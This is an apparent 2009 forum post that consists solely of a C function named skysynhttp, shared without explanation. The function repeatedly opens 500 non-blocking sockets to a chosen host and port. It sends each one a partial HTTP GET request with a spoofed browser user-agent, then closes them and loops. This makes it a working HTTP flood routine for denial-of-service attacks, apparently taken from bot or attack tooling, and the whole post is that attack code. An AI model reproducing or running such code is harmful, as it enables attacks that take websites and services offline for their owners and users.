Gonzalez Posted September 7, 2009 Report Posted September 7, 2009 void skysynhttp(char *target, char *port, int len){ SOCKADDR_IN SockAddr; SOCKET sock[500]; IN_ADDR iaddr; unsigned long szip; int c,i; char packet[1028]; int sockdelay = 100; int skysocket = 500; hostent *szhostent = gethostbyname(target); if (szhostent == NULL) return; szip = *((unsigned long *)szhostent->h_addr_list[0]); memset(&SockAddr, 0, sizeof(SockAddr)); SockAddr.sin_family = AF_INET; SockAddr.sin_port = htons(atoi(port)); DWORD mode = 1; iaddr.s_addr = szip; SockAddr.sin_addr = iaddr; i = 0; sprintf(packet, "GET / HTTP/1.1\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\r\nHost: %s\r\nConnection: Keep-Alive\r\n", target); while (i < len) { for (c=0;c<skysocket;c++) { sock[c] = socket(AF_INET, SOCK_STREAM, 0); if (sock[c] == INVALID_SOCKET) continue; ioctlsocket(sock[c],FIONBIO,&mode); } for (c=0;c<skysocket;c++) connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr)); for (c=0;c<skysocket;c++) //lets send get request lolz. send(sock[c], packet, strlen(packet), 0); Sleep(sockdelay); for (c=0;c<skysocket;c++) closesocket(sock[c]); i++; } return;} Quote